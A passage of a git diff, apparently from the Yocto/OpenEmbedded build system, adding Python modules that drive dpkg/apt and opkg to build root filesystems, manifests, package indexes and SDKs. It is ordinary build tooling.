+ sources_file.write("deb [trusted=yes] file:%s/ ./\n" %
+ os.path.join(self.deploy_dir, arch))
+
+ base_arch_list = base_archs.split()
+ multilib_variants = self.d.getVar("MULTILIB_VARIANTS");
+ for variant in multilib_variants.split():
+ localdata = bb.data.createCopy(self.d)
+ variant_tune = localdata.getVar("DEFAULTTUNE:virtclass-multilib-" + variant, False)
+ orig_arch = localdata.getVar("DPKG_ARCH")
+ localdata.setVar("DEFAULTTUNE", variant_tune)
+ variant_arch = localdata.getVar("DPKG_ARCH")
+ if variant_arch not in base_arch_list:
+ base_arch_list.append(variant_arch)
+
+ with open(self.apt_conf_file, "w+") as apt_conf:
+ with open(self.d.expand("${STAGING_ETCDIR_NATIVE}/apt/apt.conf.sample")) as apt_conf_sample:
+ for line in apt_conf_sample.read().split("\n"):
+ match_arch = re.match(r" Architecture \".*\";$", line)
+ architectures = ""
+ if match_arch:
+ for base_arch in base_arch_list:
+ architectures += "\"%s\";" % base_arch
+ apt_conf.write(" Architectures {%s};\n" % architectures);
+ apt_conf.write(" Architecture \"%s\";\n" % base_archs)
+ else:
+ line = re.sub(r"#ROOTFS#", self.target_rootfs, line)
+ line = re.sub(r"#APTCONF#", self.apt_conf_dir, line)
+ apt_conf.write(line + "\n")
+
+ target_dpkg_dir = "%s/var/lib/dpkg" % self.target_rootfs
+ bb.utils.mkdirhier(os.path.join(target_dpkg_dir, "info"))
+
+ bb.utils.mkdirhier(os.path.join(target_dpkg_dir, "updates"))
+
+ if not os.path.exists(os.path.join(target_dpkg_dir, "status")):
+ open(os.path.join(target_dpkg_dir, "status"), "w+").close()
+ if not os.path.exists(os.path.join(target_dpkg_dir, "available")):
+ open(os.path.join(target_dpkg_dir, "available"), "w+").close()
+
+ def remove_packaging_data(self):
+ bb.utils.remove(self.target_rootfs + self.d.getVar('opkglibdir'), True)
+ bb.utils.remove(self.target_rootfs + "/var/lib/dpkg/", True)
+
+ def fix_broken_dependencies(self):
+ os.environ['APT_CONFIG'] = self.apt_conf_file
+
+ cmd = "%s %s --allow-unauthenticated -f install" % (self.apt_get_cmd, self.apt_args)
+
+ try:
+ subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Cannot fix broken dependencies. Command '%s' "
+ "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
+
+ def list_installed(self):
+ return PMPkgsList(self.d, self.target_rootfs).list_pkgs()
+
+ def package_info(self, pkg):
+ """
+ Returns a dictionary with the package info.
+ """
+ cmd = "%s show %s" % (self.apt_cache_cmd, pkg)
+ pkg_info = super(DpkgPM, self).package_info(pkg, cmd)
+
+ pkg_arch = pkg_info[pkg]["pkgarch"]
+ pkg_filename = pkg_info[pkg]["filename"]
+ pkg_info[pkg]["filepath"] = \
+ os.path.join(self.deploy_dir, pkg_arch, pkg_filename)
+
+ return pkg_info
+
+ def extract(self, pkg):
+ """
+ Returns the path to a tmpdir where resides the contents of a package.
+
+ Deleting the tmpdir is responsability of the caller.
+ """
+ pkg_info = self.package_info(pkg)
+ if not pkg_info:
+ bb.fatal("Unable to get information for package '%s' while "
+ "trying to extract the package." % pkg)
+
+ tmp_dir = super(DpkgPM, self).extract(pkg, pkg_info)
+ bb.utils.remove(os.path.join(tmp_dir, "data.tar.xz"))
+
+ return tmp_dir
diff --git a/meta/lib/oe/package_manager/deb/manifest.py b/meta/lib/oe/package_manager/deb/manifest.py
new file mode 100644
index 0000000000..d8eab24a06
--- /dev/null
+++ b/meta/lib/oe/package_manager/deb/manifest.py
@@ -0,0 +1,26 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+from oe.manifest import Manifest
+
+class PkgManifest(Manifest):
+ def create_initial(self):
+ with open(self.initial_manifest, "w+") as manifest:
+ manifest.write(self.initial_manifest_file_header)
+
+ for var in self.var_maps[self.manifest_type]:
+ pkg_list = self.d.getVar(var)
+
+ if pkg_list is None:
+ continue
+
+ for pkg in pkg_list.split():
+ manifest.write("%s,%s\n" %
+ (self.var_maps[self.manifest_type][var], pkg))
+
+ def create_final(self):
+ pass
+
+ def create_full(self, pm):
+ pass
diff --git a/meta/lib/oe/package_manager/deb/rootfs.py b/meta/lib/oe/package_manager/deb/rootfs.py
new file mode 100644
index 0000000000..8fbaca11d6
--- /dev/null
+++ b/meta/lib/oe/package_manager/deb/rootfs.py
@@ -0,0 +1,210 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import shutil
+from oe.rootfs import Rootfs
+from oe.manifest import Manifest
+from oe.utils import execute_pre_post_process
+from oe.package_manager.deb.manifest import PkgManifest
+from oe.package_manager.deb import DpkgPM
+
+class DpkgOpkgRootfs(Rootfs):
+ def __init__(self, d, progress_reporter=None, logcatcher=None):
+ super(DpkgOpkgRootfs, self).__init__(d, progress_reporter, logcatcher)
+
+ def _get_pkgs_postinsts(self, status_file):
+ def _get_pkg_depends_list(pkg_depends):
+ pkg_depends_list = []
+ # filter version requirements like libc (>= 1.1)
+ for dep in pkg_depends.split(', '):
+ m_dep = re.match(r"^(.*) \(.*\)$", dep)
+ if m_dep:
+ dep = m_dep.group(1)
+ pkg_depends_list.append(dep)
+
+ return pkg_depends_list
+
+ pkgs = {}
+ pkg_name = ""
+ pkg_status_match = False
+ pkg_depends = ""
+
+ with open(status_file) as status:
+ data = status.read()
+ status.close()
+ for line in data.split('\n'):
+ m_pkg = re.match(r"^Package: (.*)", line)
+ m_status = re.match(r"^Status:.*unpacked", line)
+ m_depends = re.match(r"^Depends: (.*)", line)
+
+ #Only one of m_pkg, m_status or m_depends is not None at time
+ #If m_pkg is not None, we started a new package
+ if m_pkg is not None:
+ #Get Package name
+ pkg_name = m_pkg.group(1)
+ #Make sure we reset other variables
+ pkg_status_match = False
+ pkg_depends = ""
+ elif m_status is not None:
+ #New status matched
+ pkg_status_match = True
+ elif m_depends is not None:
+ #New depends macthed
+ pkg_depends = m_depends.group(1)
+ else:
+ pass
+
+ #Now check if we can process package depends and postinst
+ if "" != pkg_name and pkg_status_match:
+ pkgs[pkg_name] = _get_pkg_depends_list(pkg_depends)
+ else:
+ #Not enough information
+ pass
+
+ # remove package dependencies not in postinsts
+ pkg_names = list(pkgs.keys())
+ for pkg_name in pkg_names:
+ deps = pkgs[pkg_name][:]
+
+ for d in deps:
+ if d not in pkg_names:
+ pkgs[pkg_name].remove(d)
+
+ return pkgs
+
+ def _get_delayed_postinsts_common(self, status_file):
+ def _dep_resolve(graph, node, resolved, seen):
+ seen.append(node)
+
+ for edge in graph[node]:
+ if edge not in resolved:
+ if edge in seen:
+ raise RuntimeError("Packages %s and %s have " \
+ "a circular dependency in postinsts scripts." \
+ % (node, edge))
+ _dep_resolve(graph, edge, resolved, seen)
+
+ resolved.append(node)
+
+ pkg_list = []
+
+ pkgs = None
+ if not self.d.getVar('PACKAGE_INSTALL').strip():
+ bb.note("Building empty image")
+ else:
+ pkgs = self._get_pkgs_postinsts(status_file)
+ if pkgs:
+ root = "__packagegroup_postinst__"
+ pkgs[root] = list(pkgs.keys())
+ _dep_resolve(pkgs, root, pkg_list, [])
+ pkg_list.remove(root)
+
+ if len(pkg_list) == 0:
+ return None
+
+ return pkg_list
+
+ def _save_postinsts_common(self, dst_postinst_dir, src_postinst_dir):
+ if bb.utils.contains("IMAGE_FEATURES", "package-management",
+ True, False, self.d):
+ return
+ num = 0
+ for p in self._get_delayed_postinsts():
+ bb.utils.mkdirhier(dst_postinst_dir)
+
+ if os.path.exists(os.path.join(src_postinst_dir, p + ".postinst")):
+ shutil.copy(os.path.join(src_postinst_dir, p + ".postinst"),
+ os.path.join(dst_postinst_dir, "%03d-%s" % (num, p)))
+
+ num += 1
+
+class PkgRootfs(DpkgOpkgRootfs):
+ def __init__(self, d, manifest_dir, progress_reporter=None, logcatcher=None):
+ super(PkgRootfs, self).__init__(d, progress_reporter, logcatcher)
+ self.log_check_regex = '^E:'
+ self.log_check_expected_regexes = \
+ [
+ "^E: Unmet dependencies."
+ ]
+
+ bb.utils.remove(self.image_rootfs, True)
+ bb.utils.remove(self.d.getVar('MULTILIB_TEMP_ROOTFS'), True)
+ self.manifest = PkgManifest(d, manifest_dir)
+ self.pm = DpkgPM(d, d.getVar('IMAGE_ROOTFS'),
+ d.getVar('PACKAGE_ARCHS'),
+ d.getVar('DPKG_ARCH'))
+
+
+ def _create(self):
+ pkgs_to_install = self.manifest.parse_initial_manifest()
+ deb_pre_process_cmds = self.d.getVar('DEB_PREPROCESS_COMMANDS')
+ deb_post_process_cmds = self.d.getVar('DEB_POSTPROCESS_COMMANDS')
+
+ alt_dir = self.d.expand("${IMAGE_ROOTFS}/var/lib/dpkg/alternatives")
+ bb.utils.mkdirhier(alt_dir)
+
+ # update PM index files
+ self.pm.write_index()
+
+ execute_pre_post_process(self.d, deb_pre_process_cmds)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+ # Don't support incremental, so skip that
+ self.progress_reporter.next_stage()
+
+ self.pm.update()
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ for pkg_type in self.install_order:
+ if pkg_type in pkgs_to_install:
+ self.pm.install(pkgs_to_install[pkg_type],
+ [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
+ self.pm.fix_broken_dependencies()
+
+ if self.progress_reporter:
+ # Don't support attemptonly, so skip that
+ self.progress_reporter.next_stage()
+ self.progress_reporter.next_stage()
+
+ self.pm.install_complementary()
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ self._setup_dbg_rootfs(['/var/lib/dpkg'])
+
+ self.pm.fix_broken_dependencies()
+
+ self.pm.mark_packages("installed")
+
+ self.pm.run_pre_post_installs()
+
+ execute_pre_post_process(self.d, deb_post_process_cmds)
+
+ if self.progress_reporter:
+ self.progress_reporter.next_stage()
+
+ @staticmethod
+ def _depends_list():
+ return ['DEPLOY_DIR_DEB', 'DEB_SDK_ARCH', 'APTCONF_TARGET', 'APT_ARGS', 'DPKG_ARCH', 'DEB_PREPROCESS_COMMANDS', 'DEB_POSTPROCESS_COMMANDS']
+
+ def _get_delayed_postinsts(self):
+ status_file = self.image_rootfs + "/var/lib/dpkg/status"
+ return self._get_delayed_postinsts_common(status_file)
+
+ def _save_postinsts(self):
+ dst_postinst_dir = self.d.expand("${IMAGE_ROOTFS}${sysconfdir}/deb-postinsts")
+ src_postinst_dir = self.d.expand("${IMAGE_ROOTFS}/var/lib/dpkg/info")
+ return self._save_postinsts_common(dst_postinst_dir, src_postinst_dir)
+
+ def _log_check(self):
+ self._log_check_warn()
+ self._log_check_error()
+
+ def _cleanup(self):
+ pass
diff --git a/meta/lib/oe/package_manager/deb/sdk.py b/meta/lib/oe/package_manager/deb/sdk.py
new file mode 100644
index 0000000000..f4b0b6510a
--- /dev/null
+++ b/meta/lib/oe/package_manager/deb/sdk.py
@@ -0,0 +1,100 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import glob
+import shutil
+from oe.utils import execute_pre_post_process
+from oe.sdk import Sdk
+from oe.manifest import Manifest
+from oe.package_manager.deb import DpkgPM
+from oe.package_manager.deb.manifest import PkgManifest
+
+class PkgSdk(Sdk):
+ def __init__(self, d, manifest_dir=None):
+ super(PkgSdk, self).__init__(d, manifest_dir)
+
+ self.target_conf_dir = os.path.join(self.d.getVar("APTCONF_TARGET"), "apt")
+ self.host_conf_dir = os.path.join(self.d.getVar("APTCONF_TARGET"), "apt-sdk")
+
+
+ self.target_manifest = PkgManifest(d, self.manifest_dir,
+ Manifest.MANIFEST_TYPE_SDK_TARGET)
+ self.host_manifest = PkgManifest(d, self.manifest_dir,
+ Manifest.MANIFEST_TYPE_SDK_HOST)
+
+ deb_repo_workdir = "oe-sdk-repo"
+ if "sdk_ext" in d.getVar("BB_RUNTASK"):
+ deb_repo_workdir = "oe-sdk-ext-repo"
+
+ self.target_pm = DpkgPM(d, self.sdk_target_sysroot,
+ self.d.getVar("PACKAGE_ARCHS"),
+ self.d.getVar("DPKG_ARCH"),
+ self.target_conf_dir,
+ deb_repo_workdir=deb_repo_workdir)
+
+ self.host_pm = DpkgPM(d, self.sdk_host_sysroot,
+ self.d.getVar("SDK_PACKAGE_ARCHS"),
+ self.d.getVar("DEB_SDK_ARCH"),
+ self.host_conf_dir,
+ deb_repo_workdir=deb_repo_workdir)
+
+ def _copy_apt_dir_to(self, dst_dir):
+ staging_etcdir_native = self.d.getVar("STAGING_ETCDIR_NATIVE")
+
+ self.remove(dst_dir, True)
+
+ shutil.copytree(os.path.join(staging_etcdir_native, "apt"), dst_dir)
+
+ def _populate_sysroot(self, pm, manifest):
+ pkgs_to_install = manifest.parse_initial_manifest()
+
+ pm.write_index()
+ pm.update()
+
+ for pkg_type in self.install_order:
+ if pkg_type in pkgs_to_install:
+ pm.install(pkgs_to_install[pkg_type],
+ [False, True][pkg_type == Manifest.PKG_TYPE_ATTEMPT_ONLY])
+
+ def _populate(self):
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_PRE_TARGET_COMMAND"))
+
+ bb.note("Installing TARGET packages")
+ self._populate_sysroot(self.target_pm, self.target_manifest)
+
+ self.target_pm.install_complementary(self.d.getVar('SDKIMAGE_INSTALL_COMPLEMENTARY'))
+
+ self.target_pm.run_pre_post_installs()
+
+ self.target_pm.run_intercepts(populate_sdk='target')
+
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_TARGET_COMMAND"))
+
+ self._copy_apt_dir_to(os.path.join(self.sdk_target_sysroot, "etc", "apt"))
+
+ if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
+ self.target_pm.remove_packaging_data()
+
+ bb.note("Installing NATIVESDK packages")
+ self._populate_sysroot(self.host_pm, self.host_manifest)
+ self.install_locales(self.host_pm)
+
+ self.host_pm.run_pre_post_installs()
+
+ self.host_pm.run_intercepts(populate_sdk='host')
+
+ execute_pre_post_process(self.d, self.d.getVar("POPULATE_SDK_POST_HOST_COMMAND"))
+
+ self._copy_apt_dir_to(os.path.join(self.sdk_output, self.sdk_native_path,
+ "etc", "apt"))
+
+ if not bb.utils.contains("SDKIMAGE_FEATURES", "package-management", True, False, self.d):
+ self.host_pm.remove_packaging_data()
+
+ native_dpkg_state_dir = os.path.join(self.sdk_output, self.sdk_native_path,
+ "var", "lib", "dpkg")
+ self.mkdirhier(native_dpkg_state_dir)
+ for f in glob.glob(os.path.join(self.sdk_output, "var", "lib", "dpkg", "*")):
+ self.movefile(f, native_dpkg_state_dir)
+ self.remove(os.path.join(self.sdk_output, "var"), True)
diff --git a/meta/lib/oe/package_manager/ipk/__init__.py b/meta/lib/oe/package_manager/ipk/__init__.py
new file mode 100644
index 0000000000..4cd3963111
--- /dev/null
+++ b/meta/lib/oe/package_manager/ipk/__init__.py
@@ -0,0 +1,503 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+
+import re
+import shutil
+import subprocess
+from oe.package_manager import *
+
+class OpkgIndexer(Indexer):
+ def write_index(self):
+ arch_vars = ["ALL_MULTILIB_PACKAGE_ARCHS",
+ "SDK_PACKAGE_ARCHS",
+ ]
+
+ opkg_index_cmd = bb.utils.which(os.getenv('PATH'), "opkg-make-index")
+ if self.d.getVar('PACKAGE_FEED_SIGN') == '1':
+ signer = get_signer(self.d, self.d.getVar('PACKAGE_FEED_GPG_BACKEND'))
+ else:
+ signer = None
+
+ if not os.path.exists(os.path.join(self.deploy_dir, "Packages")):
+ open(os.path.join(self.deploy_dir, "Packages"), "w").close()
+
+ index_cmds = set()
+ index_sign_files = set()
+ for arch_var in arch_vars:
+ archs = self.d.getVar(arch_var)
+ if archs is None:
+ continue
+
+ for arch in archs.split():
+ pkgs_dir = os.path.join(self.deploy_dir, arch)
+ pkgs_file = os.path.join(pkgs_dir, "Packages")
+
+ if not os.path.isdir(pkgs_dir):
+ continue
+
+ if not os.path.exists(pkgs_file):
+ open(pkgs_file, "w").close()
+
+ index_cmds.add('%s --checksum md5 --checksum sha256 -r %s -p %s -m %s' %
+ (opkg_index_cmd, pkgs_file, pkgs_file, pkgs_dir))
+
+ index_sign_files.add(pkgs_file)
+
+ if len(index_cmds) == 0:
+ bb.note("There are no packages in %s!" % self.deploy_dir)
+ return
+
+ oe.utils.multiprocess_launch(create_index, index_cmds, self.d)
+
+ if signer:
+ feed_sig_type = self.d.getVar('PACKAGE_FEED_GPG_SIGNATURE_TYPE')
+ is_ascii_sig = (feed_sig_type.upper() != "BIN")
+ for f in index_sign_files:
+ signer.detach_sign(f,
+ self.d.getVar('PACKAGE_FEED_GPG_NAME'),
+ self.d.getVar('PACKAGE_FEED_GPG_PASSPHRASE_FILE'),
+ armor=is_ascii_sig)
+
+class PMPkgsList(PkgsList):
+ def __init__(self, d, rootfs_dir):
+ super(PMPkgsList, self).__init__(d, rootfs_dir)
+ config_file = d.getVar("IPKGCONF_TARGET")
+
+ self.opkg_cmd = bb.utils.which(os.getenv('PATH'), "opkg")
+ self.opkg_args = "-f %s -o %s " % (config_file, rootfs_dir)
+ self.opkg_args += self.d.getVar("OPKG_ARGS")
+
+ def list_pkgs(self, format=None):
+ cmd = "%s %s status" % (self.opkg_cmd, self.opkg_args)
+
+ # opkg returns success even when it printed some
+ # "Collected errors:" report to stderr. Mixing stderr into
+ # stdout then leads to random failures later on when
+ # parsing the output. To avoid this we need to collect both
+ # output streams separately and check for empty stderr.
+ p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
+ cmd_output, cmd_stderr = p.communicate()
+ cmd_output = cmd_output.decode("utf-8")
+ cmd_stderr = cmd_stderr.decode("utf-8")
+ if p.returncode or cmd_stderr:
+ bb.fatal("Cannot get the installed packages list. Command '%s' "
+ "returned %d and stderr:\n%s" % (cmd, p.returncode, cmd_stderr))
+
+ return opkg_query(cmd_output)
+
+
+
+class OpkgDpkgPM(PackageManager):
+ def __init__(self, d, target_rootfs):
+ """
+ This is an abstract class. Do not instantiate this directly.
+ """
+ super(OpkgDpkgPM, self).__init__(d, target_rootfs)
+
+ def package_info(self, pkg, cmd):
+ """
+ Returns a dictionary with the package info.
+
+ This method extracts the common parts for Opkg and Dpkg
+ """
+
+ try:
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True).decode("utf-8")
+ except subprocess.CalledProcessError as e:
+ bb.fatal("Unable to list available packages. Command '%s' "
+ "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
+ return opkg_query(output)
+
+ def extract(self, pkg, pkg_info):
+ """
+ Returns the path to a tmpdir where resides the contents of a package.
+
+ Deleting the tmpdir is responsability of the caller.
+
+ This method extracts the common parts for Opkg and Dpkg
+ """
+
+ ar_cmd = bb.utils.which(os.getenv("PATH"), "ar")
+ tar_cmd = bb.utils.which(os.getenv("PATH"), "tar")
+ pkg_path = pkg_info[pkg]["filepath"]
+
+ if not os.path.isfile(pkg_path):
+ bb.fatal("Unable to extract package for '%s'."
+ "File %s doesn't exists" % (pkg, pkg_path))
+
+ tmp_dir = tempfile.mkdtemp()
+ current_dir = os.getcwd()
+ os.chdir(tmp_dir)
+ data_tar = 'data.tar.xz'
+
+ try:
+ cmd = [ar_cmd, 'x', pkg_path]
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)
+ cmd = [tar_cmd, 'xf', data_tar]
+ output = subprocess.check_output(cmd, stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError as e:
+ bb.utils.remove(tmp_dir, recurse=True)
+ bb.fatal("Unable to extract %s package. Command '%s' "
+ "returned %d:\n%s" % (pkg_path, ' '.join(cmd), e.returncode, e.output.decode("utf-8")))
+ except OSError as e:
+ bb.utils.remove(tmp_dir, recurse=True)
+ bb.fatal("Unable to extract %s package. Command '%s' "
+ "returned %d:\n%s at %s" % (pkg_path, ' '.join(cmd), e.errno, e.strerror, e.filename))
+
+ bb.note("Extracted %s to %s" % (pkg_path, tmp_dir))
+ bb.utils.remove(os.path.join(tmp_dir, "debian-binary"))
+ bb.utils.remove(os.path.join(tmp_dir, "control.tar.gz"))
+ os.chdir(current_dir)
+
+ return tmp_dir
+
+ def _handle_intercept_failure(self, registered_pkgs):
+ self.mark_packages("unpacked", registered_pkgs.split())
+
+class OpkgPM(OpkgDpkgPM):
+ def __init__(self, d, target_rootfs, config_file, archs, task_name='target', ipk_repo_workdir="oe-rootfs-repo", filterbydependencies=True, prepare_index=True):
+ super(OpkgPM, self).__init__(d, target_rootfs)
+
+ self.config_file = config_file
+ self.pkg_archs = archs
+ self.task_name = task_name
+
+ self.deploy_dir = oe.path.join(self.d.getVar('WORKDIR'), ipk_repo_workdir)
+ self.deploy_lock_file = os.path.join(self.deploy_dir, "deploy.lock")
+ self.opkg_cmd = bb.utils.which(os.getenv('PATH'), "opkg")
+ self.opkg_args = "--volatile-cache -f %s -t %s -o %s " % (self.config_file, self.d.expand('${T}/ipktemp/') ,target_rootfs)
+ self.opkg_args += self.d.getVar("OPKG_ARGS")
+
+ if prepare_index:
+ create_packages_dir(self.d, self.deploy_dir, d.getVar("DEPLOY_DIR_IPK"), "package_write_ipk", filterbydependencies)
+
+ self.opkg_dir = oe.path.join(target_rootfs, self.d.getVar('OPKGLIBDIR'), "opkg")
+ bb.utils.mkdirhier(self.opkg_dir)
+
+ self.saved_opkg_dir = self.d.expand('${T}/saved/%s' % self.task_name)
+ if not os.path.exists(self.d.expand('${T}/saved')):
+ bb.utils.mkdirhier(self.d.expand('${T}/saved'))
+
+ self.from_feeds = (self.d.getVar('BUILD_IMAGES_FROM_FEEDS') or "") == "1"
+ if self.from_feeds:
+ self._create_custom_config()
+ else:
+ self._create_config()
+
+ self.indexer = OpkgIndexer(self.d, self.deploy_dir)
+
+ def mark_packages(self, status_tag, packages=None):
+ """
+ This function will change a package's status in /var/lib/opkg/status file.
+ If 'packages' is None then the new_status will be applied to all
+ packages
+ """
+ status_file = os.path.join(self.opkg_dir, "status")
+
+ with open(status_file, "r") as sf:
+ with open(status_file + ".tmp", "w+") as tmp_sf:
+ if packages is None:
+ tmp_sf.write(re.sub(r"Package: (.*?)\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)",
+ r"Package: \1\n\2Status: \3%s" % status_tag,
+ sf.read()))
+ else:
+ if type(packages).__name__ != "list":
+ raise TypeError("'packages' should be a list object")
+
+ status = sf.read()
+ for pkg in packages:
+ status = re.sub(r"Package: %s\n((?:[^\n]+\n)*?)Status: (.*)(?:unpacked|installed)" % pkg,
+ r"Package: %s\n\1Status: \2%s" % (pkg, status_tag),
+ status)
+
+ tmp_sf.write(status)
+
+ bb.utils.rename(status_file + ".tmp", status_file)
+
+ def _create_custom_config(self):
+ bb.note("Building from feeds activated!")
+
+ with open(self.config_file, "w+") as config_file:
+ priority = 1
+ for arch in self.pkg_archs.split():
+ config_file.write("arch %s %d\n" % (arch, priority))
+ priority += 5
+
+ for line in (self.d.getVar('IPK_FEED_URIS') or "").split():
+ feed_match = re.match(r"^[ \t]*(.*)##([^ \t]*)[ \t]*$", line)
+
+ if feed_match is not None:
+ feed_name = feed_match.group(1)
+ feed_uri = feed_match.group(2)
+
+ bb.note("Add %s feed with URL %s" % (feed_name, feed_uri))
+
+ config_file.write("src/gz %s %s\n" % (feed_name, feed_uri))
+
+ """
+ Allow to use package deploy directory contents as quick devel-testing
+ feed. This creates individual feed configs for each arch subdir of those
+ specified as compatible for the current machine.
+ NOTE: Development-helper feature, NOT a full-fledged feed.
+ """
+ if (self.d.getVar('FEED_DEPLOYDIR_BASE_URI') or "") != "":
+ for arch in self.pkg_archs.split():
+ cfg_file_name = os.path.join(self.target_rootfs,
+ self.d.getVar("sysconfdir"),
+ "opkg",
+ "local-%s-feed.conf" % arch)
+
+ with open(cfg_file_name, "w+") as cfg_file:
+ cfg_file.write("src/gz local-%s %s/%s" %
+ (arch,
+ self.d.getVar('FEED_DEPLOYDIR_BASE_URI'),
+ arch))
+
+ if self.d.getVar('OPKGLIBDIR') != '/var/lib':
+ # There is no command line option for this anymore, we need to add
+ # info_dir and status_file to config file, if OPKGLIBDIR doesn't have
+ # the default value of "/var/lib" as defined in opkg:
+ # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_LISTS_DIR VARDIR "/lib/opkg/lists"
+ # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_INFO_DIR VARDIR "/lib/opkg/info"
+ # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_STATUS_FILE VARDIR "/lib/opkg/status"
+ cfg_file.write("option info_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'info'))
+ cfg_file.write("option lists_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'lists'))
+ cfg_file.write("option status_file %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'status'))
+
+
+ def _create_config(self):
+ with open(self.config_file, "w+") as config_file:
+ priority = 1
+ for arch in self.pkg_archs.split():
+ config_file.write("arch %s %d\n" % (arch, priority))
+ priority += 5
+
+ config_file.write("src oe file:%s\n" % self.deploy_dir)
+
+ for arch in self.pkg_archs.split():
+ pkgs_dir = os.path.join(self.deploy_dir, arch)
+ if os.path.isdir(pkgs_dir):
+ config_file.write("src oe-%s file:%s\n" %
+ (arch, pkgs_dir))
+
+ if self.d.getVar('OPKGLIBDIR') != '/var/lib':
+ # There is no command line option for this anymore, we need to add
+ # info_dir and status_file to config file, if OPKGLIBDIR doesn't have
+ # the default value of "/var/lib" as defined in opkg:
+ # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_LISTS_DIR VARDIR "/lib/opkg/lists"
+ # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_INFO_DIR VARDIR "/lib/opkg/info"
+ # libopkg/opkg_conf.h:#define OPKG_CONF_DEFAULT_STATUS_FILE VARDIR "/lib/opkg/status"
+ config_file.write("option info_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'info'))
+ config_file.write("option lists_dir %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'lists'))
+ config_file.write("option status_file %s\n" % os.path.join(self.d.getVar('OPKGLIBDIR'), 'opkg', 'status'))
+
+ def insert_feeds_uris(self, feed_uris, feed_base_paths, feed_archs):
+ if feed_uris == "":
+ return
+
+ rootfs_config = os.path.join('%s/etc/opkg/base-feeds.conf'
+ % self.target_rootfs)
+
+ os.makedirs('%s/etc/opkg' % self.target_rootfs, exist_ok=True)
+
+ feed_uris = self.construct_uris(feed_uris.split(), feed_base_paths.split())
+ archs = self.pkg_archs.split() if feed_archs is None else feed_archs.split()
+
+ with open(rootfs_config, "w+") as config_file:
+ uri_iterator = 0
+ for uri in feed_uris:
+ if archs:
+ for arch in archs:
+ if (feed_archs is None) and (not os.path.exists(oe.path.join(self.deploy_dir, arch))):
+ continue
+ bb.note('Adding opkg feed url-%s-%d (%s)' %
+ (arch, uri_iterator, uri))
+ config_file.write("src/gz uri-%s-%d %s/%s\n" %
+ (arch, uri_iterator, uri, arch))
+ else:
+ bb.note('Adding opkg feed url-%d (%s)' %
+ (uri_iterator, uri))
+ config_file.write("src/gz uri-%d %s\n" %
+ (uri_iterator, uri))
+
+ uri_iterator += 1
+
+ def update(self):
+ self.deploy_dir_lock()
+
+ cmd = "%s %s update" % (self.opkg_cmd, self.opkg_args)
+
+ try:
+ subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ except subprocess.CalledProcessError as e:
+ self.deploy_dir_unlock()
+ bb.fatal("Unable to update the package index files. Command '%s' "
+ "returned %d:\n%s" % (cmd, e.returncode, e.output.decode("utf-8")))
+
+ self.deploy_dir_unlock()
+
+ def install(self, pkgs, attempt_only=False):
+ if not pkgs:
+ return
+
+ cmd = "%s %s" % (self.opkg_cmd, self.opkg_args)
+ for exclude in (self.d.getVar("PACKAGE_EXCLUDE") or "").split():
+ cmd += " --add-exclude %s" % exclude
+ for bad_recommendation in (self.d.getVar("BAD_RECOMMENDATIONS") or "").split():
+ cmd += " --add-ignore-recommends %s" % bad_recommendation
+ cmd += " install "
+ cmd += " ".join(pkgs)
+
+ os.environ['D'] = self.target_rootfs
+ os.environ['OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['INTERCEPT_DIR'] = self.intercepts_dir
+ os.environ['NATIVE_ROOT'] = self.d.getVar('STAGING_DIR_NATIVE')
+
+ try:
+ bb.note("Installing the following packages: %s" % ' '.join(pkgs))
+ bb.note(cmd)
+ output = subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT).decode("utf-8")
+ bb.note(output)
+ failed_pkgs = []
+ for line in output.split('\n'):
+ if line.endswith("configuration required on target."):
+ bb.warn(line)
+ failed_pkgs.append(line.split(".")[0])
+ if failed_pkgs:
+ failed_postinsts_abort(failed_pkgs, self.d.expand("${T}/log.do_${BB_CURRENTTASK}"))
+ except subprocess.CalledProcessError as e:
+ (bb.fatal, bb.warn)[attempt_only]("Unable to install packages. "
+ "Command '%s' returned %d:\n%s" %
+ (cmd, e.returncode, e.output.decode("utf-8")))
+
+ def remove(self, pkgs, with_dependencies=True):
+ if not pkgs:
+ return
+
+ if with_dependencies:
+ cmd = "%s %s --force-remove --force-removal-of-dependent-packages remove %s" % \
+ (self.opkg_cmd, self.opkg_args, ' '.join(pkgs))
+ else:
+ cmd = "%s %s --force-depends remove %s" % \
+ (self.opkg_cmd, self.opkg_args, ' '.join(pkgs))
+
+ try:
+ bb.note(cmd)
